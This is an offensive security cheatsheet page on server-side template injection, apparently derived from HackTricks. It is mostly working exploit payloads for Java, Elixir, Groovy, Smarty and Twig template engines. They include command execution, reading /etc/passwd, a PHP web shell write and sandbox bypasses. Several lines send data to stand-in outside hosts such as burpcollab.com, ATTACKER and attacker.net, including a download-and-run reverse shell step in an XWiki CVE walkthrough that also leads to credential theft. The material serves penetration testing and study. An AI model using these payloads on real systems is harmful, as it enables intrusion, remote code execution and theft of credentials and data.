daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (56229B)


      1 ---
      2 title: "SSTI (Server Side Template Injection)"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/ssti-server-side-template-injection/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # SSTI (Server Side Template Injection)
     14 
     15 ## What is SSTI (Server-Side Template Injection)
     16 
     17 Server-side template injection is a vulnerability that occurs when an attacker can inject malicious code into a template that is executed on the server. This vulnerability can be found in various technologies, including Jinja.
     18 
     19 Jinja is a popular template engine used in web applications. Let's consider an example that demonstrates a vulnerable code snippet using Jinja:
     20 
     21 ```python
     22 output = template.render(name=request.args.get('name'))
     23 ```
     24 
     25 In this vulnerable code, the `name` parameter from the user's request is directly passed into the template using the `render` function. This can potentially allow an attacker to inject malicious code into the `name` parameter, leading to server-side template injection.
     26 
     27 For instance, an attacker could craft a request with a payload like this:
     28 
     29 ```text
     30 http://vulnerable-website.com/?name={{bad-stuff-here}}
     31 ```
     32 
     33 The payload `{{bad-stuff-here}}` is injected into the `name` parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.
     34 
     35 To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.<sup>[[4]](#references)</sup>
     36 
     37 ### Detection
     38 
     39 To detect Server-Side Template Injection (SSTI), initially, **fuzzing the template** is a straightforward approach. This involves injecting a sequence of special characters (**`${{<%[%'"}}%\`**) into the template and analyzing the differences in the server's response to regular data versus this special payload. Vulnerability indicators include:<sup>[[4]](#references)</sup>
     40 
     41 - Thrown errors, revealing the vulnerability and potentially the template engine.
     42 - Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data.
     43 - **Plaintext Context**: Distinguish from XSS by checking if the server evaluates template expressions (e.g., `{{7*7}}`, `${7*7}`).
     44 - **Code Context**: Confirm vulnerability by altering input parameters. For instance, changing `greeting` in `http://vulnerable-website.com/?greeting=data.username` to see if the server's output is dynamic or fixed, like in `greeting=data.username}}hello` returning the username.
     45 
     46 #### Identification Phase
     47 
     48 Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include `${7/0}`, `{{7/0}}`, and `<%= 7/0 %>`. Observing the server's response to mathematical operations helps pinpoint the specific template engine.<sup>[[4]](#references)</sup>
     49 
     50 #### Identification by payloads
     51 
     52 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%289%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
     53 
     54 - More info in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)<sup>[[7]](#references)</sup>
     55 
     56 ## Tools
     57 
     58 ### [TInjA](https://github.com/Hackmanit/TInjA)
     59 
     60 an efficient SSTI + CSTI scanner which utilizes novel polyglots
     61 
     62 ```bash
     63 tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
     64 tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."
     65 ```
     66 
     67 ### [SSTImap](https://github.com/vladko312/sstimap)
     68 
     69 ```bash
     70 python3 sstimap.py -i -l 5
     71 python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
     72 python3 sstimap.py -u "https://example.com/page?name=John" -s
     73 ```
     74 
     75 ### [Tplmap](https://github.com/epinna/tplmap)
     76 
     77 ```python
     78 python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
     79 python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
     80 python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
     81 ```
     82 
     83 ### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
     84 
     85 an interactive table containing the most efficient template injection polyglots along with the expected responses of the 44 most important template engines.
     86 
     87 ## Exploits
     88 
     89 ### Generic
     90 
     91 In this **wordlist** you can find **variables defined** in the environments of some of the engines mentioned below:
     92 
     93 - [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
     94 - [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
     95 
     96 ### Elixir / Phoenix LiveView HEEx expression injection
     97 
     98 Treat exposed Phoenix LiveView Storybooks, component explorers, playgrounds, and debug interfaces as server-side attack surfaces even when the ordinary HTTP page looks static. Fetch the LiveView page, inspect `/live/websocket` traffic, and trace attacker-controlled values from `handle_event/3` through conversion/rendering helpers to sinks such as `EEx.compile_string/2` and `Code.eval_quoted_with_env/3`. In the Phoenix Storybook case, the exploitable flow was `psb-assign` → `handle_set_variation_assign/3` → binary attribute storage → generated HEEx → compilation → evaluation.<sup>[[10]](#references)[[11]](#references)</sup>
     99 
    100 A dangerous renderer builds component source by interpolating an untrusted binary between quotes, then compiles and evaluates the resulting HEEx. HTML escaping performed after compilation cannot protect this earlier data-to-code boundary.<sup>[[10]](#references)[[11]](#references)</sup>
    101 
    102 ```text
    103 {name, val} when is_binary(val) ->
    104   ~s|#{name}="#{val}"|
    105 
    106 quoted = EEx.compile_string(heex,
    107   engine: Phoenix.LiveView.TagEngine,
    108   tag_handler: Phoenix.LiveView.HTMLEngine
    109 )
    110 Code.eval_quoted_with_env(quoted, [assigns: %{}], env)
    111 ```
    112 
    113 For a generated fragment such as `<.button type="ATTACKER_VALUE" />`, the quote-breakout shape `foo" pwned={EXPRESSION} a="` closes the intended attribute, introduces a new HEEx expression attribute, and uses `a="` to consume the renderer's final quote. First use an undefined identifier as a low-impact compiler oracle; then, only in an authorized test, a fully qualified `System.cmd/2` call demonstrates impact. `elem/2` extracts stdout from `{output, exit_status}` so the injected expression returns a renderable string.<sup>[[10]](#references)[[11]](#references)</sup>
    114 
    115 ```text
    116 # Compiler oracle
    117 foo" pwned={aaaa} a="
    118 
    119 # OS command execution
    120 foo" pwned={elem(System.cmd("sh", ["-c", "id"]), 0)} a="
    121 ```
    122 
    123 To replay a Phoenix LiveView event, request the target page or iframe first and extract its cookie, CSRF token, `data-phx-session`, `data-phx-static`, and Phoenix DOM IDs. Convert `http(s)` to `ws(s)`, join the required parent/child LiveView topics, and send the five-field Phoenix channel frame `[join_ref, msg_ref, topic, channel_event, payload]`. The following Storybook-shaped frame illustrates the nested outer `event` and inner action; the topic and IDs are deployment-specific.<sup>[[11]](#references)</sup>
    124 
    125 ```json
    126 ["3", "3", "lv:<child-dom-id>", "event", {
    127   "type": "click", "event": "psb-assign",
    128   "value": {"variation_id": "default", "type": "foo\" pwned={aaaa} a=\""}
    129 }]
    130 ```
    131 
    132 The robust fix is to keep runtime attributes as data (for example, pass an assigns map and use HEEx attribute spreading) rather than serialize them into source. Also validate variation IDs and attribute names against known values and avoid `String.to_atom/1` on client input. Remove or authenticate developer routes; merely restricting imported functions is insufficient because fully qualified calls remain available to evaluated Elixir code.<sup>[[10]](#references)</sup>
    133 
    134 ### Java
    135 
    136 **Java - Basic injection**
    137 
    138 ```java
    139 ${7*7}
    140 ${{7*7}}
    141 ${class.getClassLoader()}
    142 ${class.getResource("").getPath()}
    143 ${class.getResource("../../../../../index.htm").getContent()}
    144 // if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
    145 ```
    146 
    147 **Java - Retrieve the system’s environment variables**
    148 
    149 ```java
    150 ${T(java.lang.System).getenv()}
    151 ```
    152 
    153 **Java - Retrieve /etc/passwd**
    154 
    155 ```java
    156 ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
    157 
    158 ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
    159 ```
    160 
    161 ### FreeMarker (Java)
    162 
    163 You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
    164 
    165 - `{{7*7}} = {{7*7}}`
    166 - `${7*7} = 49`
    167 - `#{7*7} = 49 -- (legacy)`
    168 - `${7*'7'} Nothing`
    169 - `${foobar}`
    170 
    171 ```java
    172 <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
    173 [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
    174 ${"freemarker.template.utility.Execute"?new()("id")}
    175 
    176 ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
    177 ```
    178 
    179 **Freemarker - Sandbox bypass**
    180 
    181 ⚠️ only works on Freemarker versions below 2.3.30
    182 
    183 ```java
    184 <#assign classloader=article.class.protectionDomain.classLoader>
    185 <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
    186 <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
    187 <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
    188 ${dwf.newInstance(ec,null)("id")}
    189 ```
    190 
    191 **More information**
    192 
    193 - In FreeMarker section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
    194 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
    195 
    196 ### Velocity (Java)
    197 
    198 ```java
    199 // I think this doesn't work
    200 #set($str=$class.inspect("java.lang.String").type)
    201 #set($chr=$class.inspect("java.lang.Character").type)
    202 #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
    203 $ex.waitFor()
    204 #set($out=$ex.getInputStream())
    205 #foreach($i in [1..$out.available()])
    206 $str.valueOf($chr.toChars($out.read()))
    207 #end
    208 
    209 // This should work?
    210 #set($s="")
    211 #set($stringClass=$s.getClass())
    212 #set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
    213 #set($process=$runtime.exec("cat%20/flag563378e453.txt"))
    214 #set($out=$process.getInputStream())
    215 #set($null=$process.waitFor() )
    216 #foreach($i+in+[1..$out.available()])
    217 $out.read()
    218 #end
    219 ```
    220 
    221 **More information**
    222 
    223 - In Velocity section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
    224 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
    225 
    226 ### Thymeleaf
    227 
    228 In Thymeleaf, a common test for SSTI vulnerabilities is the expression `${7*7}`, which also applies to this template engine. For potential remote code execution, expressions like the following can be used:
    229 
    230 - SpringEL:
    231 
    232   ```java
    233   ${T(java.lang.Runtime).getRuntime().exec('calc')}
    234   ```
    235 
    236 - OGNL:
    237 
    238   ```java
    239   ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
    240   ```
    241 
    242 Thymeleaf requires these expressions to be placed within specific attributes. However, _expression inlining_ is supported for other template locations, using syntax like `[[...]]` or `[(...)]`. Thus, a simple SSTI test payload might look like `[[${7*7}]]`.
    243 
    244 However, the likelihood of this payload working is generally low. Thymeleaf's default configuration doesn't support dynamic template generation; templates must be predefined. Developers would need to implement their own `TemplateResolver` to create templates from strings on-the-fly, which is uncommon.
    245 
    246 Thymeleaf also offers _expression preprocessing_, where expressions within double underscores (`__...__`) are preprocessed. This feature can be utilized in the construction of expressions, as demonstrated in Thymeleaf's documentation:
    247 
    248 ```java
    249 #{selection.__${sel.code}__}
    250 ```
    251 
    252 **Example of Vulnerability in Thymeleaf**
    253 
    254 Consider the following code snippet, which could be susceptible to exploitation:
    255 
    256 ```xml
    257 <a th:href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/%40%7B__%24%7Bpath%7D__%7D" th:title="${title}">
    258 <a th:href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/%24%7B''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
    259 ```
    260 
    261 This indicates that if the template engine processes these inputs improperly, it might lead to remote code execution accessing URLs like:
    262 
    263 ```text
    264 http://localhost:8082/(7*7)
    265 http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
    266 ```
    267 
    268 **More information**
    269 
    270 - [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
    271 
    272 
    273 [El Expression Language](/hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language)
    274 
    275 ### Spring Framework (Java)
    276 
    277 ```java
    278 *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
    279 ```
    280 
    281 **Bypass filters**
    282 
    283 Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`.
    284 
    285 - Read `/etc/passwd`
    286 
    287 ```java
    288 ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
    289 ```
    290 
    291 - Custom Script for payload generation
    292 
    293 ```python
    294 #!/usr/bin/python3
    295 
    296 ## Written By Zeyad Abulaban (zAbuQasem)
    297 # Usage: python3 gen.py "id"
    298 
    299 from sys import argv
    300 
    301 cmd = list(argv[1].strip())
    302 print("Payload: ", cmd , end="\n\n")
    303 converted = [ord(c) for c in cmd]
    304 base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
    305 end_payload = '.getInputStream())}'
    306 
    307 count = 1
    308 for i in converted:
    309     if count == 1:
    310         base_payload += f"(T(java.lang.Character).toString({i}).concat"
    311         count += 1
    312     elif count == len(converted):
    313         base_payload += f"(T(java.lang.Character).toString({i})))"
    314     else:
    315         base_payload += f"(T(java.lang.Character).toString({i})).concat"
    316         count += 1
    317 
    318 print(base_payload + end_payload)
    319 ```
    320 
    321 **More Information**
    322 
    323 - [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
    324 - [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
    325 
    326 ### Spring View Manipulation (Java)
    327 
    328 ```java
    329 __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
    330 __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
    331 ```
    332 
    333 - [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)
    334 
    335 
    336 [El Expression Language](/hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language)
    337 
    338 ### Pebble (Java)
    339 
    340 - `{{ someString.toUPPERCASE() }}`
    341 
    342 Old version of Pebble ( < version 3.0.9):
    343 
    344 ```java
    345 {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
    346 ```
    347 
    348 New version of Pebble :
    349 
    350 ```java
    351 {% raw %}
    352 {% set cmd = 'id' %}
    353 {% endraw %}
    354 
    355 
    356 {% set bytes = (1).TYPE
    357      .forName('java.lang.Runtime')
    358      .methods[6]
    359      .invoke(null,null)
    360      .exec(cmd)
    361      .inputStream
    362      .readAllBytes() %}
    363 {{ (1).TYPE
    364      .forName('java.lang.String')
    365      .constructors[0]
    366      .newInstance(([bytes]).toArray()) }}
    367 ```
    368 
    369 ### Jinjava (Java)
    370 
    371 ```java
    372 {{'a'.toUpperCase()}} would result in 'A'
    373 {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
    374 ```
    375 
    376 Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
    377 
    378 **Jinjava - Command execution**
    379 
    380 Fixed by [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
    381 
    382 ```java
    383 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
    384 
    385 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
    386 
    387 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
    388 
    389 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
    390 ```
    391 
    392 **More information**
    393 
    394 - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
    395 
    396 ### Hubspot - HuBL (Java)
    397 
    398 - `{% %}` statement delimiters
    399 - `{{ }}` expression delimiters
    400 - `{# #}` comment delimiters
    401 - `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
    402 - `{{'a'.toUpperCase()}}` - "A"
    403 - `{{'a'.concat('b')}}` - "ab"
    404 - `{{'a'.getClass()}}` - java.lang.String
    405 - `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
    406 - `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
    407 
    408 Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discovered the [Jinjava project on Github](https://github.com/HubSpot/jinjava/).
    409 
    410 ```java
    411 {{request.isDebug()}}
    412 //output: False
    413 
    414 //Using string 'a' to get an instance of class sun.misc.Launcher
    415 {{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
    416 //output: sun.misc.Launcher@715537d4
    417 
    418 //It is also possible to get a new object of the Jinjava class
    419 {{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
    420 //output: com.hubspot.jinjava.JinjavaConfig@78a56797
    421 
    422 //It was also possible to call methods on the created object by combining the
    423 
    424 
    425 {% raw %}
    426 {% %} and {{ }} blocks
    427 {% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
    428 {% endraw %}
    429 
    430 
    431 {{ji.render('{{1*2}}')}}
    432 //Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
    433 
    434 //{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
    435 //output: xxx
    436 
    437 //RCE
    438 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
    439 //output: java.lang.UNIXProcess@1e5f456e
    440 
    441 //RCE with org.apache.commons.io.IOUtils.
    442 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
    443 //output: netstat execution
    444 
    445 //Multiple arguments to the commands
    446 Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
    447 //Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
    448 ```
    449 
    450 **More information**
    451 
    452 - [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
    453 
    454 ### Expression Language - EL (Java)
    455 
    456 - `${"aaaa"}` - "aaaa"
    457 - `${99999+1}` - 100000.
    458 - `#{7*7}` - 49
    459 - `${{7*7}}` - 49
    460 - `${{request}}, ${{session}}, {{faceContext}}`
    461 
    462 Expression Language (EL) is a fundamental feature that facilitates interaction between the presentation layer (like web pages) and the application logic (like managed beans) in JavaEE. It's used extensively across multiple JavaEE technologies to streamline this communication. The key JavaEE technologies utilizing EL include:
    463 
    464 - **JavaServer Faces (JSF)**: Employs EL to bind components in JSF pages to the corresponding backend data and actions.
    465 - **JavaServer Pages (JSP)**: EL is used in JSP for accessing and manipulating data within JSP pages, making it easier to connect page elements to the application data.
    466 - **Contexts and Dependency Injection for Java EE (CDI)**: EL integrates with CDI to allow seamless interaction between the web layer and managed beans, ensuring a more coherent application structure.
    467 
    468 Check the following page to learn more about the **exploitation of EL interpreters**:
    469 
    470 
    471 [El Expression Language](/hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language)
    472 
    473 ### Groovy (Java)
    474 
    475 The following Security Manager bypasses were taken from this [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).<sup>[[8]](#references)</sup>
    476 
    477 ```java
    478 //Basic Payload
    479 import groovy.*;
    480 @groovy.transform.ASTTest(value={
    481     cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
    482     assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
    483 })
    484 def x
    485 
    486 //Payload to get output
    487 import groovy.*;
    488 @groovy.transform.ASTTest(value={
    489     cmd = "whoami";
    490     out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
    491     cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
    492     java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
    493 })
    494 def x
    495 
    496 //Other payloads
    497 new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
    498 this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
    499 this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
    500 ```
    501 
    502 #### XWiki SolrSearch Groovy RCE (CVE-2025-24893)
    503 
    504 XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) renders unauthenticated RSS search feeds through the `Main.SolrSearch` macro. The handler takes the `text` query parameter, wraps it in wiki syntax and evaluates macros, so injecting `}}}` followed by `{{groovy}}` executes arbitrary Groovy in the JVM.<sup>[[5]](#references)[[6]](#references)</sup>
    505 
    506 1. **Fingerprint & scope** – When XWiki is reverse-proxied behind host-based routing, fuzz the `Host` header (`ffuf -u http://<ip> -H "Host: FUZZ.target" ...`) to discover the wiki vhost, then browse `/xwiki/bin/view/Main/` and read the footer (`XWiki Debian 15.10.8`) to pin the vulnerable build.
    507 2. **Trigger SSTI** – Request `/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20`. The RSS item `<title>` will contain the Groovy output. Always “URL-encode all characters” so spaces stay as `%20`; replacing them with `+` makes XWiki throw HTTP 500.
    508 3. **Run OS commands** – Swap the Groovy body for `{{groovy}}println("id".execute().text){{/groovy}}`. `String.execute()` spawns the command directly with `execve()`, so shell metacharacters (`|`, `>`, `&`) are not interpreted. Use a download-and-execute pattern instead:
    509    - `"curl http://ATTACKER/rev -o /dev/shm/rev".execute().text`
    510    - `"bash /dev/shm/rev".execute().text` (the script holds the reverse shell logic).
    511 4. **Post exploitation** – XWiki stores database credentials in `/etc/xwiki/hibernate.cfg.xml`; leaking `hibernate.connection.password` gives real-system passwords that can be reused over SSH. If the service unit sets `NoNewPrivileges=true`, tools such as `/bin/su` will not gain additional privileges even with valid passwords, so pivot via SSH instead of relying on local SUID binaries.
    512 
    513 The same payload works on `/xwiki/bin/get/Main/SolrSearch`, and the Groovy stdout is always embedded in the RSS title, so it is easy to script enumeration of commands.
    514 
    515 ### Other Java
    516 
    517 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%287%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
    518 
    519 - The cross-engine comparison also includes additional Java template syntax and payloads.<sup>[[7]](#references)</sup>
    520 
    521 ##
    522 
    523 ### Smarty (PHP)
    524 
    525 ```php
    526 {$smarty.version}
    527 {php}echo `id`;{/php} //deprecated in smarty v3
    528 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
    529 {system('ls')} // compatible v3
    530 {system('cat index.php')} // compatible v3
    531 ```
    532 
    533 **More information**
    534 
    535 - In Smarty section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
    536 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
    537 
    538 ### Twig (PHP)
    539 
    540 - `{{7*7}} = 49`
    541 - `${7*7} = ${7*7}`
    542 - `{{7*'7'}} = 49`
    543 - `{{1/0}} = Error`
    544 - `{{foobar}} Nothing`
    545 
    546 ```python
    547 #Get Info
    548 {{_self}} #(Ref. to current application)
    549 {{_self.env}}
    550 {{dump(app)}}
    551 {{app.request.server.all|join(',')}}
    552 
    553 #File read
    554 "{{'/etc/passwd'|file_excerpt(1,30)}}"@
    555 
    556 #Exec code
    557 {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
    558 {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
    559 {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
